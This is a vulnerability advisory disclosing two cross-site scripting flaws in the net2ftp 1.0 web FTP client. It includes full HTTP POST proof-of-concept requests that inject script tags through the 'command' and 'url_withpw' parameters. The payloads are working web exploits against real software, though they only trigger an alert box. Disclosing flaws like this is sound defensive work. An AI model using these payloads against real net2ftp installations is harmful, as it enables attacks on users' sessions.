Summary

Subject: net2ftp XSS in “command” and “url_withpw” parameters
Versions vulnerable: ALL (Tested on latest, version 1.0)
Category: 0-day
Impact: Medium

Description of the product

net2ftp is a web based FTP client (http://www.net2ftp.com/index.php).
It can be used as a standalone version and also integrated in some web platforms as ISP providers, e-commerce sites and other websites.

Description of the vulnerabilities

Doing a vulnerability research on net2ftp, latest version 1.0. Jacobo Avariento had found several cross-site scripting (XSS) found in skins/shinra/bookmark1.template.php (line 18) “url_withpw” parameter, and in skins/shinra/raw1.template.php (line 5) with “command” parameter.

The first, parameter “url_withpw” is triggered when the user is placing a bookmark on that FTP connection.

The second, parameter “command”, is triggered when the user access the FTP interactive mode for sending FTP arbitrary commands to the server.

Proof of concept

XSS in parameter “command”

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 391

ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=raw&state2=main&directory=%2F&screen=&command=CWD+%0D%0APWD%0D%0A%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E&text=501+Invalid+number+of+arguments%0D%0A257+%22%2F%22+is+the+current+directory%0D%0A

XSS in parameter “url_withpw”

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1141

ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=bookmark&state2=main&directory=%2F&url_withpw=%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Bpassword_encrypted%3D%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Draw%26amp%3Bstate2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D%22%3C%2Fa%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E&url_withoutpw=%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Dlogin_small%26amp%3Bstate2%3Dbookmark%26amp%3Bgo_to_state%3Draw%26amp%3Bgo_to_state2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D&text=net2ftp+192.168.1.103

Impact

Due to a possible lack of validation of cookie and session parameters it is possible to trigger the attacks directly, without need to log in in the server or the website.

Because of this circumstances, the risk of the vulnerability is tagged as “medium” as there is no authentication and can be triggered in any net2ftp software online. It has been proved that several ISP providers use this software for their clients, among other customers.

Timeline

Jul 24/2016: The vendor has been already contacted, no reply until date of public diclosure.

Further Actions

We recommend all sysadmins and web developers who are using net2ftp software to review the files skins/shinra/bookmark1.template.php and skins/shinra/raw1.template.php manually, and patch the XSS because no official patches are released or planned yet.